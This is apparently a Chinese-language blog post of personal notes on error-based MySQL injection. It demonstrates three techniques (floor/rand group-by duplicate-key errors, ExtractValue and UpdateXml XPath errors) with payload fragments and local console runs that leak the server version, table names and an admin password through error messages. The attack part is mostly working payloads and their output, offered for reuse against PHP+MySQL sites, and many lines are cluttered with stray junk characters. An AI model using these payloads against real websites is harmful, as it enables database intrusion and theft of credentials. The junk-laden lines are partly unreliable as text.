关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
" G3 f  J' e  L' M6 X实际测试环境：
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mysql> show tables;
+----------------+
| Tables_in_test |
$ N) M% Y* W% F5 _+----------------+
, `% j' F- d/ r  E& r0 q3 H  J| admin          |
( x/ ~" F! w0 t3 I) t| article        |
+----------------+



mysql> describe admin;
! n# n0 t3 _; `& Q0 H. E+-------+------------------+------+-----+---------+----------------+
; q# C# n$ G  Z| Field | Type             | Null | Key | Default | Extra          |
) R* f" M; J  q; [4 g+-------+------------------+------+-----+---------+----------------+
, N& M6 O8 e- a% {! D* f4 F. o| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
8 m. K: b. Y  @6 k* f6 @| pass  | varchar(50)      | NO   |     | NULL    |                |
3 N+ A  X! K# @/ c" E; N+-------+------------------+------+-----+---------+----------------+
: \1 Z1 g& ~3 G3 X& G; [5 R" U


0 g6 `) p) |% X: T3 o- i0 ^  _mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
& `: c' {' {+ S% d| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
4 ~' ~, C! X4 S) u& m+---------+------------------+------+-----+---------+----------------+
% a9 ]1 ?8 D" Y& |7 O1、通过floor报错
可以通过如下一些利用代码
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and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
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$ ~9 ~' O" ^7 U  @1 Land (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
) y& a" Y0 W" K/ L* [举例如下：
首先进行正常查询：
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3 t- g& ~9 @$ V0 h: Gmysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
2 E7 \! L6 l+ o# k  ~2 O% w- |, E+----+-------+---------+
) C  b+ J* k: r4 V, r, J|  1 | test  | do it   |
+----+-------+---------+
. y8 _& N1 p, e- E: g假如id输入存在注入的话，可以通过如下语句进行报错。
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6 u' Z# V8 h2 @$ imysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
( t2 _7 g  M1 M$ yERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
' z( z, o6 L* o3 H, y2 U例如我们需要查询管理员用户名和密码：
# c' B1 V" U' p% H0 QMethod1:
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( c8 E, S. y3 Rmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
/ S/ W- j! k+ A' Z, vfrom information_schema.tables group by x)a);
# `* l$ r. i) j2 W1 ZERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
" h7 n: A# U: q0 h# [3 O7 h% NMethod2:
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mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
2 F- ?" L/ i8 t+ i, G+ E* Rfloor(rand(0)*2)));
' m! `% ]3 J- v0 A  n6 xERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! K7 R0 F+ N. b2 W& R2、ExtractValue
8 G! t& M% X- z% \$ n( [测试语句如下


8 O! S" y7 Q. h! W3 \/ [7 }! i/ E: yand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程

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0 @: u* Q% a. N0 @) hmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
1 w; i1 _7 o3 _. t3 d  ^ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句

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and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
& A% |( N" Q4 h# l& {9 N( l7 l实际测试过程


  ^  X  N4 c4 K& A! j1 Cmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
: A$ Y' L4 K/ o% q* ~  T. p) ^All, thanks foreign guys.
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